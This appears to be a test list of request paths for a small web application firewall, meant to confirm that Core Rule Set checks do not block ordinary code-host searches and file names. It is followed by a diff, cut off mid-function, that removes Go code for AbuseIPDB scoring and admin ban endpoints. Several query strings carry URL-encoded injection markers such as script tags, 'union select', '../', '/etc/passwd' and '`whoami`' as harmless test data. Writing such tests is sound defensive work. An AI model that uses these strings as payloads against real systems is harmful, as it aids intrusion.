# space. The tests of internal/coreruleset inspect each as a GET. The Core Rule Set reads
# the query and the headers the same way for any method.
# Searches with ordinary words and symbols.
/owner/repo/search?q=package.json
/owner/repo/search?q=.gitignore
/owner/repo/search?q=docker-compose.yml
/owner/repo/search?q=python3
/owner/repo/search?q=ssh%20key
/owner/repo/search?q=feat%2Fdocker-support
/owner/repo/search?q=ls%20-la
/owner/repo/search?q=sed%20-i
/owner/repo/search?q=%2Fbin%2Fsh
/owner/repo/search?q=%60make%20check%60
/owner/repo/search?q=%60whoami%60
/owner/repo/search?q=fetch%28
/owner/repo/search?q=%24%7BVAR%7D
/owner/repo/search?q=%24%28pwd%29
/owner/repo/search?q=process.env
/owner/repo/search?q=%3Cimg%20src%3D
/owner/repo/search?q=%3Cscript%3E
/owner/repo/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/search?q=union%20select
/owner/repo/search?q=http%3A%2F%2F127.0.0.1%3A8080
/owner/repo/search?q=..%2F
/owner/repo/search?q=%2Fetc%2Fpasswd
/owner/repo/search?q=eval%28
/owner/repo/search?q=chmod%20%2Bx
/owner/repo/search?q=echo%20%24PATH
/owner/repo/search?q=java.lang.Runtime
/owner/repo/search?q=document.cookie
/owner/repo/search?q=alert%281%29
/owner/repo/search?q=__proto__
/owner/repo/search?q=C%3A%5CWindows%5CSystem32
/owner/repo/search?q=Invoke-WebRequest
/owner/repo/search?q=if%20%28a%20%3D%3D%20b%29%20%7B
/owner/repo/search?q=sudo%20apt%20install
/owner/repo/search?q=~%2F.ssh%2Fconfig
/owner/repo/search?q=.htaccess
/owner/repo/search?q=%24_GET%5B
/owner/repo/search?q=%24_POST
/owner/repo/search?q=%24_SERVER%5B%27REQUEST_URI%27%5D
/owner/repo/search?q=%3C%3Fphp%20echo
/owner/repo/search?q=information_schema
/owner/repo/search?q=LIKE%20%27%25foo%25%27
/owner/repo/search?q=onClick%3D%7B
/explore/code?q=SELECT%20%2A%20FROM%20users%20WHERE
/explore/code?q=%3Cimg%20src%3D
/owner/-/code?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/-/code?q=%3Cimg%20src%3D
/owner/repo/issues?type=all&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/issues?type=all&state=open&q=%3Cimg%20src%3D
/owner/repo/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/issues/search?q=%3Cimg%20src%3D
/owner/repo/pulls?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/pulls?q=%3Cimg%20src%3D
/issues?type=your_repositories&q=SELECT%20%2A%20FROM%20users%20WHERE
/issues?type=your_repositories&q=%3Cimg%20src%3D
/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/issues/search?q=%3Cimg%20src%3D
/pulls?type=your_repositories&q=SELECT%20%2A%20FROM%20users%20WHERE
/pulls?type=your_repositories&q=%3Cimg%20src%3D
/owner/repo/commits/branch/main/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/commits/branch/main/search?q=%3Cimg%20src%3D
/api/v1/repos/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/api/v1/repos/issues/search?q=%3Cimg%20src%3D
/api/v1/repos/owner/repo/issues?q=SELECT%20%2A%20FROM%20users%20WHERE
/api/v1/repos/owner/repo/issues?q=%3Cimg%20src%3D
# Searches for the names of repositories, users, branches, tags and packages.
/explore/repos?q=python3-app
/explore/repos?q=.profile
/explore/repos?q=powershell-scripts
/api/v1/repos/search?q=docker-build
/user/search_candidates?q=docker-ci
/owner/repo/branches?q=feat%2Fdocker-support
/owner/repo/tags?q=docker-v1.0
/owner/-/packages?q=python3-requests
/owner/-/packages?q=org.apache.commons.logging
/repo/search?q=python3-app
/repo/search?q=docker-build
/repo/search?q=powershell-scripts
/repo/search?q=.profile
/owner?tab=repositories&q=python3-app
/org?q=python3-app
/owner/repo/issues/posters?q=docker-ci
/owner/repo/pulls/posters?q=docker-ci
/explore/users?q=docker-ci
/explore/organizations?q=docker-ci
/api/v1/users/search?q=docker-ci
# Pages, raw files and edit pages of files, and the API's call for their
# contents.
/owner/repo/src/branch/main/package.json
/owner/repo/raw/branch/main/package.json
/owner/repo/_edit/main/package.json
/api/v1/repos/owner/repo/contents/package.json
/owner/repo/src/branch/main/.gitignore
/owner/repo/raw/branch/main/.gitignore
/owner/repo/_edit/main/.gitignore
/api/v1/repos/owner/repo/contents/.gitignore
/owner/repo/src/branch/main/docker-compose.yml
/owner/repo/raw/branch/main/docker-compose.yml
/owner/repo/_edit/main/docker-compose.yml
/api/v1/repos/owner/repo/contents/docker-compose.yml
/owner/repo/src/branch/main/Dockerfile
/owner/repo/raw/branch/main/Dockerfile
/owner/repo/_edit/main/Dockerfile
/api/v1/repos/owner/repo/contents/Dockerfile
/owner/repo/src/branch/main/.htaccess
/owner/repo/raw/branch/main/.htaccess
/owner/repo/_edit/main/.htaccess
/api/v1/repos/owner/repo/contents/.htaccess
/owner/repo/src/branch/main/rootfs/etc/passwd
/owner/repo/raw/branch/main/rootfs/etc/passwd
/owner/repo/_edit/main/rootfs/etc/passwd
/api/v1/repos/owner/repo/contents/rootfs/etc/passwd
/owner/repo/src/branch/main/bin/docker-entrypoint
/owner/repo/raw/branch/main/bin/docker-entrypoint
/owner/repo/_edit/main/bin/docker-entrypoint
/api/v1/repos/owner/repo/contents/bin/docker-entrypoint
/owner/repo/src/branch/main/scripts/python3-setup.sh
/owner/repo/raw/branch/main/scripts/python3-setup.sh
/owner/repo/_edit/main/scripts/python3-setup.sh
/api/v1/repos/owner/repo/contents/scripts/python3-setup.sh
/owner/repo/src/branch/main/src/java.base/share/classes/java/lang/Runtime.java
/owner/repo/raw/branch/main/src/java.base/share/classes/java/lang/Runtime.java
/owner/repo/_edit/main/src/java.base/share/classes/java/lang/Runtime.java
/api/v1/repos/owner/repo/contents/src/java.base/share/classes/java/lang/Runtime.java
/owner/repo/src/branch/main/java.lang.String.md
/owner/repo/raw/branch/main/java.lang.String.md
/owner/repo/_edit/main/java.lang.String.md
/api/v1/repos/owner/repo/contents/java.lang.String.md
/owner/repo/src/branch/main/META-INF/services/org.apache.commons.logging.LogFactory
/owner/repo/raw/branch/main/META-INF/services/org.apache.commons.logging.LogFactory
/owner/repo/_edit/main/META-INF/services/org.apache.commons.logging.LogFactory
/api/v1/repos/owner/repo/contents/META-INF/services/org.apache.commons.logging.LogFactory
/owner/repo/src/branch/main/process.env.d.ts
/owner/repo/raw/branch/main/process.env.d.ts
/owner/repo/_edit/main/process.env.d.ts
/api/v1/repos/owner/repo/contents/process.env.d.ts
/owner/repo/src/branch/main/document.write.js
/owner/repo/raw/branch/main/document.write.js
/owner/repo/_edit/main/document.write.js
/api/v1/repos/owner/repo/contents/document.write.js
/owner/repo/src/branch/main/test/fixtures/__proto__.json
/owner/repo/raw/branch/main/test/fixtures/__proto__.json
/owner/repo/_edit/main/test/fixtures/__proto__.json
/api/v1/repos/owner/repo/contents/test/fixtures/__proto__.json
/owner/repo/src/branch/main/install-script.sh
/owner/repo/raw/branch/main/install-script.sh
/owner/repo/_edit/main/install-script.sh
/api/v1/repos/owner/repo/contents/install-script.sh
/owner/repo/src/branch/main/src/backend/catalog/information_schema.sql
/owner/repo/raw/branch/main/src/backend/catalog/information_schema.sql
/owner/repo/_edit/main/src/backend/catalog/information_schema.sql
/api/v1/repos/owner/repo/contents/src/backend/catalog/information_schema.sql
/owner/repo/src/branch/main/docs/a%20b.xhtml
/owner/repo/raw/branch/main/docs/a%20b.xhtml
/owner/repo/_edit/main/docs/a%20b.xhtml
/api/v1/repos/owner/repo/contents/docs/a%20b.xhtml
/owner/repo/src/branch/main/%5Bdraft%5D.md
/owner/repo/raw/branch/main/%5Bdraft%5D.md
/owner/repo/_edit/main/%5Bdraft%5D.md
/api/v1/repos/owner/repo/contents/%5Bdraft%5D.md
/owner/repo/src/branch/main/notes.txt~
/owner/repo/raw/branch/main/notes.txt~
/owner/repo/_edit/main/notes.txt~
/api/v1/repos/owner/repo/contents/notes.txt~
# The download, blame, history, delete and preview pages of the files above
# whose names the Core Rule Set checks in the path, and their downloads as
# release attachments.
/owner/repo/media/branch/main/notes.txt~
/owner/repo/blame/branch/main/notes.txt~
/owner/repo/commits/branch/main/notes.txt~
/owner/repo/_delete/main/notes.txt~
/owner/repo/media/branch/main/process.env.d.ts
/owner/repo/blame/branch/main/process.env.d.ts
/owner/repo/commits/branch/main/process.env.d.ts
/owner/repo/_delete/main/process.env.d.ts
/owner/repo/media/branch/main/docs/a%20b.xhtml
/owner/repo/blame/branch/main/docs/a%20b.xhtml
/owner/repo/commits/branch/main/docs/a%20b.xhtml
/owner/repo/_delete/main/docs/a%20b.xhtml
/owner/repo/media/branch/main/java.lang.String.md
/owner/repo/blame/branch/main/java.lang.String.md
/owner/repo/commits/branch/main/java.lang.String.md
/owner/repo/_delete/main/java.lang.String.md
/owner/repo/_preview/main/notes.txt~
/owner/repo/_preview/main/process.env.d.ts
/owner/repo/_preview/main/java.lang.String.md
/owner/repo/releases/download/v1.0/notes.txt~
/owner/repo/releases/download/v1.0/process.env.d.ts
/owner/repo/releases/download/v1.0/java.lang.String.md
/owner/repo/releases/download/v1.0/a%20b.xhtml
# File names in the query string: the commit graph of a file, the API's lists
# of its commits and of its contents, an issue opened from a template, the
# sign-in page on the way to its edit page, and a diff's hidden lines.
/owner/repo/graph?file=package.json
/api/v1/repos/owner/repo/commits?path=package.json
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22package.json%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fpackage.json
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fpackage.json
/owner/repo/graph?file=.gitignore
/api/v1/repos/owner/repo/commits?path=.gitignore
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22.gitignore%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F.gitignore
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F.gitignore
/owner/repo/graph?file=docker-compose.yml
/api/v1/repos/owner/repo/commits?path=docker-compose.yml
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22docker-compose.yml%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fdocker-compose.yml
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fdocker-compose.yml
/owner/repo/graph?file=.htaccess
/api/v1/repos/owner/repo/commits?path=.htaccess
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22.htaccess%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F.htaccess
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F.htaccess
/owner/repo/graph?file=rootfs%2Fetc%2Fpasswd
/api/v1/repos/owner/repo/commits?path=rootfs%2Fetc%2Fpasswd
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22rootfs%2Fetc%2Fpasswd%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Frootfs%2Fetc%2Fpasswd
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Frootfs%2Fetc%2Fpasswd
/owner/repo/graph?file=bin%2Fdocker-entrypoint
/api/v1/repos/owner/repo/commits?path=bin%2Fdocker-entrypoint
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22bin%2Fdocker-entrypoint%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fbin%2Fdocker-entrypoint
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fbin%2Fdocker-entrypoint
/owner/repo/graph?file=scripts%2Fpython3-setup.sh
/api/v1/repos/owner/repo/commits?path=scripts%2Fpython3-setup.sh
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22scripts%2Fpython3-setup.sh%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fscripts%2Fpython3-setup.sh
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fscripts%2Fpython3-setup.sh
/owner/repo/graph?file=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
/api/v1/repos/owner/repo/commits?path=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fsrc%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fsrc%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
/owner/repo/graph?file=java.lang.String.md
/api/v1/repos/owner/repo/commits?path=java.lang.String.md
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22java.lang.String.md%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fjava.lang.String.md
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fjava.lang.String.md
/owner/repo/graph?file=META-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
/api/v1/repos/owner/repo/commits?path=META-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22META-INF%2Fservices%2Forg.apache.commons.logging.LogFactory%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2FMETA-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2FMETA-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
/owner/repo/graph?file=process.env.d.ts
/api/v1/repos/owner/repo/commits?path=process.env.d.ts
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22process.env.d.ts%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fprocess.env.d.ts
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fprocess.env.d.ts
/owner/repo/graph?file=document.write.js
/api/v1/repos/owner/repo/commits?path=document.write.js
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22document.write.js%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fdocument.write.js
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fdocument.write.js
/owner/repo/graph?file=test%2Ffixtures%2F__proto__.json
/api/v1/repos/owner/repo/commits?path=test%2Ffixtures%2F__proto__.json
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22test%2Ffixtures%2F__proto__.json%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Ftest%2Ffixtures%2F__proto__.json
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Ftest%2Ffixtures%2F__proto__.json
/owner/repo/graph?file=install-script.sh
/api/v1/repos/owner/repo/commits?path=install-script.sh
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22install-script.sh%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Finstall-script.sh
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Finstall-script.sh
/owner/repo/graph?file=src%2Fbackend%2Fcatalog%2Finformation_schema.sql
/api/v1/repos/owner/repo/commits?path=src%2Fbackend%2Fcatalog%2Finformation_schema.sql
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22src%2Fbackend%2Fcatalog%2Finformation_schema.sql%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fsrc%2Fbackend%2Fcatalog%2Finformation_schema.sql
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fsrc%2Fbackend%2Fcatalog%2Finformation_schema.sql
/owner/repo/graph?file=docs%2Fa%20b.xhtml
/api/v1/repos/owner/repo/commits?path=docs%2Fa%20b.xhtml
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22docs%2Fa%20b.xhtml%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fdocs%2Fa%20b.xhtml
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fdocs%2Fa%20b.xhtml
/owner/repo/graph?file=%5Bdraft%5D.md
/api/v1/repos/owner/repo/commits?path=%5Bdraft%5D.md
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22%5Bdraft%5D.md%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F%5Bdraft%5D.md
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F%5Bdraft%5D.md
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=process.env.d.ts&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=java.lang.String.md&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=install-script.sh&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=information_schema.sql&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=document.write.js&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=__proto__.json&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=index.xhtml&style=unified&direction=down&wiki=false
# File names of attachments uploaded through the API, to a release, an issue and
# a comment.
/api/v1/repos/owner/repo/releases/1/assets?name=package.json
/api/v1/repos/owner/repo/releases/1/assets?name=.gitignore
/api/v1/repos/owner/repo/releases/1/assets?name=docker-compose.yml
/api/v1/repos/owner/repo/releases/1/assets?name=.htaccess
/api/v1/repos/owner/repo/releases/1/assets?name=docker-entrypoint
/api/v1/repos/owner/repo/releases/1/assets?name=python3-setup.sh
/api/v1/repos/owner/repo/releases/1/assets?name=Runtime.java
/api/v1/repos/owner/repo/releases/1/assets?name=org.apache.commons.logging.LogFactory
/api/v1/repos/owner/repo/releases/1/assets?name=%5Bdraft%5D.md
/api/v1/repos/owner/repo/releases/1/assets?name=notes.txt~
/api/v1/repos/owner/repo/releases/1/assets?name=install-script.sh
/api/v1/repos/owner/repo/issues/1/assets?name=install-script.sh
/api/v1/repos/owner/repo/issues/comments/1/assets?name=install-script.sh
/api/v1/repos/owner/repo/releases/1/assets?name=process.env.d.ts
/api/v1/repos/owner/repo/issues/1/assets?name=process.env.d.ts
/api/v1/repos/owner/repo/issues/comments/1/assets?name=process.env.d.ts
/api/v1/repos/owner/repo/releases/1/assets?name=java.lang.String.md
/api/v1/repos/owner/repo/issues/1/assets?name=java.lang.String.md
/api/v1/repos/owner/repo/issues/comments/1/assets?name=java.lang.String.md
/api/v1/repos/owner/repo/releases/1/assets?name=information_schema.sql
/api/v1/repos/owner/repo/issues/1/assets?name=information_schema.sql
/api/v1/repos/owner/repo/issues/comments/1/assets?name=information_schema.sql
/api/v1/repos/owner/repo/releases/1/assets?name=document.write.js
/api/v1/repos/owner/repo/issues/1/assets?name=document.write.js
/api/v1/repos/owner/repo/issues/comments/1/assets?name=document.write.js
/api/v1/repos/owner/repo/releases/1/assets?name=__proto__.json
/api/v1/repos/owner/repo/issues/1/assets?name=__proto__.json
/api/v1/repos/owner/repo/issues/comments/1/assets?name=__proto__.json
/api/v1/repos/owner/repo/releases/1/assets?name=index.xhtml
/api/v1/repos/owner/repo/issues/1/assets?name=index.xhtml
/api/v1/repos/owner/repo/issues/comments/1/assets?name=index.xhtml
# An artifact upload from actions/upload-artifact@v3, which sends Content-Range.
/api/actions_pipeline/_apis/pipelines/workflows/1/artifacts/9b7c1f3a/upload?itemPath=artifact%2Freport.txt Content-Range: bytes 0-9/10
# Branch and tag names in the query string: deleting and restoring a branch,
# starting a release from a tag, a branch protection rule, a directory listing's
# last commits, and a container image push that reuses a layer.
/owner/repo/branches/delete?name=docker-build&page=1
/owner/repo/branches/restore?branch_id=1&name=docker-build&page=1
/owner/repo/releases/new?tag=docker-build
/owner/repo/settings/branches/edit?rule_name=docker-build
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fdocker-build
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fdocker-build
/owner/repo/branches/delete?name=feat%2Fdocker-support&page=1
/owner/repo/branches/restore?branch_id=1&name=feat%2Fdocker-support&page=1
/owner/repo/releases/new?tag=feat%2Fdocker-support
/owner/repo/settings/branches/edit?rule_name=feat%2Fdocker-support
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Ffeat%2Fdocker-support
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Ffeat%2Fdocker-support
/owner/repo/branches/delete?name=renovate%2Fdocker-build-push-action-6.x&page=1
/owner/repo/branches/restore?branch_id=1&name=renovate%2Fdocker-build-push-action-6.x&page=1
/owner/repo/releases/new?tag=renovate%2Fdocker-build-push-action-6.x
/owner/repo/settings/branches/edit?rule_name=renovate%2Fdocker-build-push-action-6.x
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Frenovate%2Fdocker-build-push-action-6.x
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Frenovate%2Fdocker-build-push-action-6.x
/owner/repo/branches/delete?name=python3-migration&page=1
/owner/repo/branches/restore?branch_id=1&name=python3-migration&page=1
/owner/repo/releases/new?tag=python3-migration
/owner/repo/settings/branches/edit?rule_name=python3-migration
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fpython3-migration
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fpython3-migration
/owner/repo/branches/delete?name=ansible-roles&page=1
/owner/repo/branches/restore?branch_id=1&name=ansible-roles&page=1
/owner/repo/releases/new?tag=ansible-roles
/owner/repo/settings/branches/edit?rule_name=ansible-roles
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fansible-roles
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fansible-roles
/owner/repo/branches/delete?name=whoami&page=1
/owner/repo/branches/restore?branch_id=1&name=whoami&page=1
/owner/repo/releases/new?tag=whoami
/owner/repo/settings/branches/edit?rule_name=whoami
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fwhoami
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fwhoami
# Pages a signed-in user opens.
/
/owner/repo
/owner/repo/issues
/owner/repo/pulls
/owner/repo/releases
/owner/repo/wiki
/owner/repo/activity
/owner/repo/branches
/owner/repo/tags
/owner/repo/settings
/owner/repo/actions
/owner/repo/compare/main...main
/owner/repo/commits/branch/main
/owner/repo/archive/main.zip
/notifications
/user/settings
/user/settings/applications
/explore/repos
/-/admin
internal/discriminator/abuseipdb.go
-58
View File
@@ -1,58 +0,0 @@
package discriminator
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
// the score, when its score of the client is a hit, and refuses the request
// when SWW_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
// SWW_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
// checked in the background, by the request's address, if its history counts
// an offence, and the request does not wait for the answer. The score is then
// used for each address of the client. Its figures are the score and
// SWW_ABUSEIPDB_MIN_SCORE.
type abuseIPDB struct{}
func (abuseIPDB) name() string { return "abuseipdb" }
func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
if rq.h.config.AbuseIPDBKey == "" {
return nil
}
client := rq.h.clientGroup(rq.client)
held, _ := rq.h.limiter.Client(client)
offender := held.History.Offences != ratelimit.Offences{}
score, hit := rq.h.abuseIPDB.Hit(ctx, client, rq.client, offender)
if !hit {
return nil
}
rq.abuseIPDBHit = true
rq.addTag(config.AbuseIPDBTag)
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
if rq.h.config.ReputationAction != deny {
return nil
}
return &verdict{
action: requestlog.ActionClientDenied,
figures: map[string]any{
figureScore: score, "min_score": rq.h.config.AbuseIPDBMinScore,
},
}
}
internal/discriminator/admin.go
-306
View File
@@ -1,306 +0,0 @@
package discriminator
import (
"bytes"
"crypto/subtle"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"net/netip"
"strings"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/state"
)
// banBodyMaxBytes is the most of the body of a request to add a ban that
// is read; its three fields need far less.
const banBodyMaxBytes = 4 << 10
// permanent is how the log line and the ban endpoint name a ban that
// never ends.
const permanent = "permanent"
var (
errNotBanToAdd = errors.New(
"the body is not a JSON object of netblock, duration and reason")
errNotNetblock = errors.New(
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
errMappedNetblock = errors.New(
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
errZone = errors.New("has a zone, which a netblock cannot have")
errNotDuration = errors.New(
"is not a duration above zero, such as 1h or 7d, or permanent")
errNotAddress = errors.New("is not an address, such as 203.0.113.9")
)
// answerHealth answers a request for the health endpoint.
func (rq *request) answerHealth() {
rq.line.Action = requestlog.ActionOwnEndpoint
// Set here rather than left to Go's server, which would set it only
// after the log line has taken the response's headers.
rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
_, _ = io.WriteString(rq.out, "ok\n")
}
// answerAdmin answers a request for one of discriminator's own endpoints. Each
// needs a token, sent as Authorization: Bearer <token>: the metrics
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
// refused with 401. An endpoint whose token is unset answers 404, as any other
// path does.
func (rq *request) answerAdmin() {
rq.line.Action = requestlog.ActionOwnEndpoint
token, answer := rq.endpoint()
switch {
case token == "":
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
case !hasToken(rq.in, token):
rq.out.Header().Set("WWW-Authenticate", "Bearer")
http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
default:
answer()
}
}
// endpoint returns the token the request's endpoint needs, and what
// answers the request there; "" when there is no such endpoint.
func (rq *request) endpoint() (string, func()) {
cfg := rq.h.config
method, path := rq.in.Method, rq.in.URL.Path
switch {
case method == http.MethodGet && path == MetricsPath:
return cfg.MetricsToken, func() { rq.h.metrics.ServeHTTP(rq.out, rq.in) }
case method == http.MethodGet && path == BansPath:
return cfg.AdminToken, rq.listBans
case method == http.MethodPost && path == BansPath:
return cfg.AdminToken, rq.addBan
case method == http.MethodDelete && strings.HasPrefix(path, BansPath+"/"):
return cfg.AdminToken, rq.liftBans
case method == http.MethodGet && strings.HasPrefix(path, ClientsPath):
return cfg.AdminToken, rq.showClient
default:
return "", nil
}
}
// hasToken reports whether r carries token, as Authorization: Bearer
// <token>.
func hasToken(r *http.Request, token string) bool {
scheme, sent, _ := strings.Cut(r.Header.Get("Authorization"), " ")
return strings.EqualFold(scheme, "Bearer") &&
subtle.ConstantTimeCompare([]byte(sent), []byte(token)) == 1
}
// listBans answers GET BansPath with every ban held.
func (rq *request) listBans() {
rq.answerBans(rq.h.ledger.Snapshot())
}
// banToAdd is the body of POST BansPath.
type banToAdd struct {
// Netblock is a netblock, or a client's address, which stands for the
// netblock a ban on that client covers.
Netblock string `json:"netblock"`
// Duration is how long the ban lasts, as a setting gives a duration,
// or permanent.
Duration string `json:"duration"`
Reason string `json:"reason"`
}
// addBan answers POST BansPath: it bans the netblock the body names, as
// an admin, from now for the duration the body gives, with its reason,
// and answers with that ban.
func (rq *request) addBan() {
toAdd, err := rq.readBanToAdd()
var (
netblock netip.Prefix
expires time.Time
now = rq.h.now()
)
if err == nil {
